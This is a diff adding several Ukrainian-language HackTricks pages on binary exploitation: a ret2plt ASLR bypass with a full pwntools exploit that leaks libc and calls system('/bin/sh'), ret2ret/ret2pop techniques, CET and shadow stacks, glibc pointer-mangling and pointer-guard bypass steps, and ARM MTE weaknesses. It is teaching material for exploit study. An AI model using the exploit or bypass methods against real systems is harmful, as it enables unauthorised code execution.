Також зверніть увагу, як адреса `main` використовується в експлойті, тому коли `puts` завершує своє виконання, **бінарний файл знову викликає `main` замість виходу** (таким чином витік адреси залишиться дійсним).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що для цього працювати **бінарний файл не може бути скомпільований з PIE** або вам потрібно мати **витік для обходу PIE**, щоб знати адресу PLT, GOT та main. В іншому випадку спочатку потрібно обійти PIE.
|
||||
{% endhint %}
|
||||
|
||||
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був остаточний експлойт з того **прикладу**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
puts_leak = u32(p.recv(4))
|
||||
p.recvlines(2)
|
||||
|
||||
libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Інші приклади та посилання
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64-бітна, увімкнена ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім ROP-гаджет для виклику `system('/bin/sh')`.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64-бітна, увімкнена ASLR, без канарейки, переповнення стеку в main від дочірньої функції. ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.
|
|
@ -0,0 +1,59 @@
|
|||
# Ret2ret & Ret2pop
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ret2ret
|
||||
|
||||
Основна **мета** цієї техніки - спроба **обійти ASLR, зловживаючи існуючим вказівником у стеку**.
|
||||
|
||||
Основна причина переповнення стеку - це зазвичай рядки, і **рядки завершуються нульовим байтом в кінці** у пам'яті. Це дозволяє спробу зменшити місце, на яке вказує існуючий вказівник, який вже існує в стеці. Таким чином, якщо стек містить `0xbfffffdd`, це переповнення може перетворити його на `0xbfffff00` (зверніть увагу на останній нульований байт).
|
||||
|
||||
Якщо ця адреса вказує на наш код оболонки в стеці, можливо зробити потік досягнення цієї адреси, додаючи адреси до інструкції `ret` до того моменту, поки досягнеться ця адреса.
|
||||
|
||||
Отже, атака буде виглядати наступним чином:
|
||||
|
||||
* NOP-ковзання
|
||||
* Код оболонки
|
||||
* Перезапис стеку з EIP за допомогою **адрес до `ret`** (RET-ковзання)
|
||||
* 0x00, доданий рядком, модифікує адресу зі стеку, змушуючи її вказувати на NOP-ковзання
|
||||
|
||||
За посиланням [**це**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) можна побачити приклад вразливого бінарного файлу, а [**тут**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) - експлойт.
|
||||
|
||||
## Ret2pop
|
||||
|
||||
У випадку, якщо ви можете знайти **ідеальний вказівник у стеці, який ви не хочете змінювати** (у `ret2ret` ми змінюємо останній найнижчий байт на `0x00`), ви можете виконати такий самий напад `ret2ret`, але **довжина RET-ковзання повинна бути скорочена на 1** (так щоб останній `0x00` перезаписував дані безпосередньо перед ідеальним вказівником), і **остання** адреса RET-ковзання повинна вказувати на **`pop <reg>; ret`**.\
|
||||
Таким чином, **дані перед ідеальним вказівником будуть видалені** зі стеку (це дані, які змінюються на `0x00`), і **останній `ret` буде вказувати на ідеальну адресу** у стеці без будь-яких змін.
|
||||
|
||||
За посиланням [**це**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) можна побачити приклад вразливого бінарного файлу, а [**тут**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) - експлойт.
|
||||
|
||||
## References
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,51 @@
|
|||
# CET та Тіньовий Стек
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Тренування HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Тренування HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Технологія Захисту Потоку Керування (CET)
|
||||
|
||||
**CET** - це функція безпеки, реалізована на рівні апаратури, яка призначена для запобігання типовим атакам на перехід потоку керування, таким як **Return-Oriented Programming (ROP)** та **Jump-Oriented Programming (JOP)**. Ці типи атак маніпулюють потоком виконання програми для виконання шкідливого коду або ланцюжком з'єднувати шматки безпечного коду так, щоб виконати шкідливу дію.
|
||||
|
||||
CET вводить дві основні функції: **Відстеження Непрямих Гілок (IBT)** та **Тіньовий Стек**.
|
||||
|
||||
* **IBT** забезпечує, що непрямі стрибки та виклики виконуються до дійсних цілей, які явно позначені як законні призначення для непрямих гілок. Це досягається за допомогою нового набору інструкцій, які позначають дійсні цілі, тим самим запобігаючи атакам відхилення потоку керування до довільних місць.
|
||||
* **Тіньовий Стек** - це механізм, який забезпечує цілісність адрес повернення. Він зберігає захищену, приховану копію адрес повернення окремо від звичайного стеку викликів. Коли функція повертається, адреса повернення перевіряється на відповідність тіньовому стеку, запобігаючи атакам на перезапис адрес повернення на стеці для захоплення потоку керування.
|
||||
|
||||
## Тіньовий Стек
|
||||
|
||||
**Тіньовий стек** - це **окремий стек, який використовується виключно для зберігання адрес повернення**. Він працює разом із звичайним стеком, але захищений та прихований від звичайного виконання програми, що ускладнює втручання з боку атакувальників. Основна мета тіньового стеку - забезпечити виявлення будь-яких модифікацій адрес повернення на звичайному стеці перед їх використанням, ефективно запобігаючи атакам ROP.
|
||||
|
||||
## Як CET та Тіньовий Стек Запобігають Атакам
|
||||
|
||||
**Атаки ROP та JOP** ґрунтуються на можливості захоплення потоку керування програми, використовуючи вразливості, які дозволяють перезаписувати вказівники або адреси повернення на стеці. Направляючи потік до послідовностей існуючих кодових гаджетів або гаджетів, орієнтованих на повернення, атакувальники можуть виконувати довільний код.
|
||||
|
||||
* Функція **IBT CET** робить ці атаки значно складнішими, забезпечуючи, що непрямі гілки можуть стрибати лише на адреси, які були явно позначені як дійсні цілі. Це робить неможливим виконання атак, коли гаджети розповсюджені по всьому бінарному коді.
|
||||
* **Тіньовий стек**, з іншого боку, забезпечує, що навіть якщо атакувальник може перезаписати адресу повернення на звичайному стеці, **розбіжність буде виявлена** при порівнянні пошкодженої адреси з безпечною копією, збереженою в тіньовому стеці при поверненні з функції. Якщо адреси не співпадають, програма може завершитися або вжити інші заходи безпеки, запобігаючи успіху атаки.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Тренування HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Тренування HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,95 @@
|
|||
# Захист libc
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) у GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Забезпечення вирівнювання чанків
|
||||
|
||||
**Malloc** виділяє пам'ять у **групах по 8 байтів (32-біт) або 16 байтів (64-біт)**. Це означає, що кінець чанків у системах 32-біт повинен вирівнюватися з **0x8**, а в системах 64-біт - з **0x0**. Функція безпеки перевіряє, що кожен чанк **вирівнюється правильно** на цих конкретних місцях перед використанням вказівника з біна.
|
||||
|
||||
### Переваги безпеки
|
||||
|
||||
Забезпечення вирівнювання чанків у системах 64-біт значно підвищує безпеку Malloc, обмежуючи розміщення фейкових чанків лише на 1 з 16 адрес. Це ускладнює зусилля експлуатації, особливо в сценаріях, де користувач має обмежений контроль над вхідними значеннями, роблячи атаки більш складними та важкими для успішного виконання.
|
||||
|
||||
* **Атака Fastbin на \_\_malloc\_hook**
|
||||
|
||||
Нові правила вирівнювання в Malloc також перешкоджають класичній атакі, що включає `__malloc_hook`. Раніше зловмисники могли маніпулювати розмірами чанків, щоб **перезаписати цей вказівник функції** та отримати **виконання коду**. Тепер строга вимога вирівнювання гарантує, що такі маніпуляції більше не є життєздатними, закриваючи загальний шлях експлуатації та підвищуючи загальну безпеку.
|
||||
|
||||
## Змішування вказівників на fastbins та tcache
|
||||
|
||||
**Змішування вказівників** - це захист використовуваний для захисту **вказівників Fd fastbin та tcache** в операціях управління пам'яттю. Ця техніка допомагає запобігти певним видам тактик експлуатації пам'яті, зокрема тим, які не потребують витоку інформації про пам'ять або які маніпулюють місцями пам'яті безпосередньо відомих позицій (відносні **перезаписи**).
|
||||
|
||||
Основа цієї техніки - це формула затемнення:
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
* **L** - це **Місце зберігання** вказівника.
|
||||
* **P** - це фактичний **вказівник Fd fastbin/tcache**.
|
||||
|
||||
Причина побітового зсуву місця зберігання (L) на 12 бітів праворуч перед операцією XOR є критичною. Ця маніпуляція вирішує вразливість, що властива визначеній природі менш значущих 12 бітів адрес пам'яті, які зазвичай передбачувані через обмеження архітектури системи. Зсув бітів переносить передбачувану частину з рівняння, підвищуючи випадковість нового, змішаного вказівника та тим самим захищаючи від експлуатацій, які ґрунтуються на передбачуваності цих бітів.
|
||||
|
||||
Цей змішаний вказівник використовує існуючу випадковість, яку надає **Випадкове розташування простору адрес (ASLR)**, яке рандомізує адреси, використовані програмами, щоб ускладнити передбачення пам'яті процесу зловмисниками.
|
||||
|
||||
**Розмішування** вказівника для отримання початкової адреси включає в себе використання тієї ж операції XOR. Тут змішаний вказівник розглядається як P у формулі, і коли він XOR-ується з незмінним місцем зберігання (L), він розкриває початковий вказівник. Ця симетрія в змішуванні та розмішуванні забезпечує, що система може ефективно кодувати та декодувати вказівники без значного накладу, значно підвищуючи безпеку від атак, які маніпулюють вказівниками пам'яті.
|
||||
|
||||
### Переваги безпеки
|
||||
|
||||
Змішування вказівників спрямоване на **запобігання частковим та повним перезаписам вказівників в купі** - значна покращення безпеки. Ця функція впливає на техніки експлуатації кількома способами:
|
||||
|
||||
1. **Запобігання відносним перезаписам байтів**: Раніше зловмисники могли змінювати частину вказівника, щоб **перенаправляти чанки купи на різні місця без точних адрес**, техніка, яка була очевидна в експлойті без витоку **House of Roman**. З змішуванням вказівників такі відносні перезаписи **без витоку купи тепер потребують грубої сили**, що значно зменшує їх ймовірність успіху.
|
||||
2. **Підвищення складності атак на Tcache Bin/Fastbin**: Загальні атаки, які перезаписують вказівники функцій (наприклад, `__malloc_hook`) шляхом маніпулювання записами fastbin або tcache, ускладнені. Наприклад, атака може включати витік адреси LibC, вивільнення чанку в tcache bin, а потім перезапис вказівника Fd для перенаправлення його на `__malloc_hook` для виконання довільного коду. З змішуванням вказівників ці вказівники повинні бути правильно змішані, **потребуючи витоку купи для точної маніпуляції**, тим самим підвищуючи бар'єр експлуатації.
|
||||
3. **Вимога витоку купи в некупових місцях**: Створення фейкового чанку в некупових областях (наприклад, стек, секція .bss або PLT/GOT) тепер також **потребує витоку купи** через потребу в змішуванні вказівників. Це розширює складність експлуатації цих областей, подібно до вимоги маніпулювання адресами LibC.
|
||||
4. **Витік адрес купи стає складнішим**: Змішування вказівників обмежує корисність вказівників Fd в fastbin та tcache bins як джерел для витоку адрес купи. Однак вказівники в несортованих, малих та великих бінах залишаються незмішаними, тому все ще можна використовувати їх для витоку адрес. Цей зсув змушує зловмисників досліджувати ці біни для експлойтабельної інформації, хоча деякі техніки все ще можуть дозволяти розмішування вказівників перед витоком, хоча з обмеженнями.
|
||||
|
||||
### **Розмішування вказівників з витоком купи**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Для кращого пояснення процесу [**перевірте оригінальний пост тут**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||
{% endhint %}
|
||||
|
||||
### Огляд алгоритму
|
||||
|
||||
Формула, яка використовується для змішування та розмішування вказівників: 
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
Де **L** - це місце зберігання, а **P** - це вказівник Fd. Коли **L** зсувається праворуч на 12 бітів, ви отримуєте найбільш значущі біти **P**, через природу **XOR**, яка виводить 0, коли біти XOR-уються самі з собою.
|
||||
|
||||
**Ключові кроки в алгоритмі:**
|
||||
|
||||
1. **Початковий витік найбільш значущих бітів**: Проводячи XOR зі зсунутим **L** та **P**, ви отримуєте верхні 12 бітів **P**, оскільки зсунута частина **L** буде нульовою, залишаючи відповідні біти **P** без змін.
|
||||
2. **Відновлення бітів вказівника**: Оскільки XOR є оборотнім, знання результату та одного з операндів дозволяє вам обчислити інший операнд. Ця властивість використовується для виведення всього набору бітів для **P**, послідовно XOR-уючи відомі набори бітів з частинами змішаного вказівника.
|
||||
3. **Ітеративне розмішування**: Процес повторюється, кожного разу використовуючи відкриті біти **P** з попереднього кроку для декодування наступного сегмента змішаного вказівника, поки всі біти не будуть відновлені.
|
||||
4. **Обробка детермінованих бітів**: Останні 12 бітів **L** втрачаються через зсув, але вони детерміновані і можуть бути відновлені після процесу.
|
||||
|
||||
Ви можете знайти реалізацію цього алгоритму тут: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
## Захист від використання вказівників
|
||||
|
||||
Захист від використання вказівників - це техніка мінімізації вразливостей, яка використовується в glibc для захисту збережених вказівників функцій, зокрема тих, які зареєстровані викликами бібліотеки, такими як `atexit()`. Цей захист полягає в перемішуванні вказівників шляхом використання операції XOR з секретом, збереженим у даних потоку (`fs:0x30`), та застосуванням побітового зсуву. Цей механізм спрямований на запобігання атакам, спрямованим на захоплення керування шляхом перезапису вказівників функцій.
|
||||
|
||||
### **Обхід захисту від використання вказівників за допомогою витоку**
|
||||
|
||||
1. **Розуміння Операцій захисту від використання вказівників:** Перемішування (змішування) вказівників виконується за допомогою макроса `PTR_MANGLE`, який виконує операцію XOR з вказівником на 64 біти, а потім виконує лівий зсув на 0x11 бітів. Зворотна операція для відновлення початкового вказівника виконується за допомогою `PTR_DEMANGLE`.
|
||||
2. **Стратегія атаки:** Атака базується на підході з відомим текстом, де атакер повинен знати як початкову, так і перемішану версії вказівника для визначення секрету, використаного для перемішування.
|
||||
3. **Використання Відомих Текстів:**
|
||||
* **Визначення Фіксованих Вказівників Функцій:** Шляхом аналізу вихідного коду glibc або таблиць вказівників функцій (наприклад, `__libc_pthread_functions`), атакер може знайти передбачувані вказівники функцій.
|
||||
* **Обчислення Секрету:** З використанням відомого вказівника функції, такого як `__pthread_attr_destroy` та його перемішаної версії з таблиці вказівників функцій, секрет можна обчислити, виконавши зворотний зсув (правий зсув) перемішаного вказівника, а потім виконавши операцію XOR з адресою функції.
|
||||
4. **Альтернативні Відомі Тексти:** Атакер також може експериментувати з перемішуванням вказівників з відомими значеннями, такими як 0 або -1, щоб перевірити, чи вони створюють ідентифіковані шаблони в пам'яті, що потенційно розкриє секрет, коли ці шаблони будуть знайдені в витоках пам'яті.
|
||||
5. **Практичне Застосування:** Після обчислення секрету атакер може маніпулювати вказівниками контрольованим способом, фактично обходячи захист від використання вказівників у багатопотоковій програмі знанням базової адреси libc та можливістю читати довільні місця в пам'яті.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
|
||||
* [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
|
|
@ -0,0 +1,93 @@
|
|||
# Розширення позначення пам'яті (MTE)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтеся в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтеся в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Розширення позначення пам'яті (MTE)** призначене для підвищення надійності та безпеки програмного забезпечення шляхом **виявлення та запобігання помилкам, пов'язаним з пам'яттю**, таким як переповнення буфера та вразливості типу використання після вивільнення. MTE, як частина **архітектури ARM**, надає механізм для прикріплення **невеликого тегу до кожного виділення пам'яті** та **відповідного тегу до кожного вказівника**, який посилається на цю пам'ять. Цей підхід дозволяє виявляти недопустимі доступи до пам'яті під час виконання, значно зменшуючи ризик використання таких вразливостей для виконання довільного коду.
|
||||
|
||||
### **Як працює розширення позначення пам'яті**
|
||||
|
||||
MTE працює шляхом **розділення пам'яті на невеликі блоки фіксованого розміру, кожному блоку призначається тег,** який, як правило, має декілька бітів. 
|
||||
|
||||
Коли створюється вказівник для посилання на цю пам'ять, він отримує той самий тег. Цей тег зберігається в **невикористаних бітах вказівника пам'яті**, ефективно пов'язуючи вказівник з відповідним блоком пам'яті.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
Коли програма отримує доступ до пам'яті через вказівник, апаратне забезпечення MTE перевіряє, що **тег вказівника відповідає тегу блоку пам'яті**. Якщо теги **не відповідають**, це вказує на **недопустимий доступ до пам'яті.**
|
||||
|
||||
### Теги вказівників MTE
|
||||
|
||||
Теги всередині вказівника зберігаються в 4 бітах всередині верхнього байта:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
Отже, це дозволяє до **16 різних значень тегів**.
|
||||
|
||||
### Теги пам'яті MTE
|
||||
|
||||
Кожні **16 байт фізичної пам'яті** мають відповідний **тег пам'яті**.
|
||||
|
||||
Теги пам'яті зберігаються в **окремій області ОЗУ** (недоступній для звичайного використання). За наявності тегів розміром 4 біти для кожних 16 байт теги пам'яті займають до 3% ОЗУ.
|
||||
|
||||
ARM вводить наступні інструкції для маніпулювання цими тегами в окремій області ОЗУ:
|
||||
```
|
||||
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
||||
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
||||
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
|
||||
...
|
||||
```
|
||||
## Режими перевірки
|
||||
|
||||
### Синхронний
|
||||
|
||||
CPU перевіряє теги **під час виконання інструкції**, якщо відбувається неспівпадання, воно викликає виняток.\
|
||||
Це найповільніший і найбільш безпечний режим.
|
||||
|
||||
### Асинхронний
|
||||
|
||||
CPU перевіряє теги **асинхронно**, і коли виявляється неспівпадання, воно встановлює біт винятку в одному з системних регістрів. Це **швидше** за попередній, але **не може вказати** точну інструкцію, що спричинила неспівпадання, і не викликає виняток негайно, давши трохи часу атакуючому завершити свій напад.
|
||||
|
||||
### Змішаний
|
||||
|
||||
???
|
||||
|
||||
## Приклади реалізації та виявлення
|
||||
|
||||
Називається апаратний KASAN на основі тегів, MTE-базовий KASAN або внутрішній MTE.\
|
||||
Аллокатори ядра (наприклад, `kmalloc`) будуть **викликати цей модуль**, який підготує тег для використання (випадково) прикріпить його до виділеного простору ядра та до поверненого вказівника.
|
||||
|
||||
Зауважте, що він **позначатиме лише достатньо пам'яті** (16B кожен) для запитаного розміру. Тому, якщо запитаний розмір був 35, і було надано плитку розміром 60B, він позначить перші 16\*3 = 48B цим тегом, а **решта** буде **позначена** так званим **недійсним тегом (0xE)**.
|
||||
|
||||
Тег **0xF** - це **відповідний всім вказівникам**. Пам'ять з цим вказівником дозволяє використовувати **будь-який тег** для доступу до своєї пам'яті (немає неспівпадань). Це може запобігти виявленню атаки MET, якщо цей тег використовується в атакованій пам'яті.
|
||||
|
||||
Тому є лише **14 значень**, які можна використовувати для генерації тегів, оскільки 0xE та 0xF зарезервовані, що дає ймовірність **повторного використання тегів** 1/17 -> близько **7%**.
|
||||
|
||||
Якщо ядро отримує доступ до **недійсного тегового гранулу**, буде виявлено **неспівпадання**. Якщо воно отримує доступ до іншої області пам'яті, якщо **пам'ять має інший тег** (або недійсний тег), буде виявлено **неспівпадання**. Якщо атакуючому пощастить, і пам'ять використовує той самий тег, не буде виявлено неспівпадання. Ймовірність становить близько 7%.
|
||||
|
||||
Інша помилка виникає в **останній гранулі** виділеної пам'яті. Якщо додаток запросив 35B, йому була надана гранула від 32 до 48. Тому **байти з 36 по 47 використовують той самий тег**, але їх не запитували. Якщо атакуючий отримує доступ до **цих додаткових байтів, це не виявляється**.
|
||||
|
||||
Коли виконується **`kfree()`**, пам'ять повторно позначається недійсним тегом пам'яті, тому в **використання після вивільнення**, коли пам'ять знову доступна, **виявляється неспівпадання**.
|
||||
|
||||
Однак у використанні після вивільнення, якщо той самий **чанк знову виділяється з ТИМ САМИМ тегом**, як раніше, атакуючий зможе використовувати цей доступ, і це не буде виявлено (імовірність близько 7%).
|
||||
|
||||
Більше того, лише **`slab` та `page_alloc`** використовують позначену пам'ять, але у майбутньому це також буде використовуватися в `vmalloc`, `stack` та `globals` (на момент відео цими можна було зловживати).
|
||||
|
||||
Коли виявляється **неспівпадання**, ядро **панікує**, щоб запобігти подальшому зловживанню та спробам використання уразливості (MTE не має помилкових позитивів).
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
|
|
@ -0,0 +1,42 @@
|
|||
# No-exec / NX
|
||||
|
||||
{% hint style="success" %}
|
||||
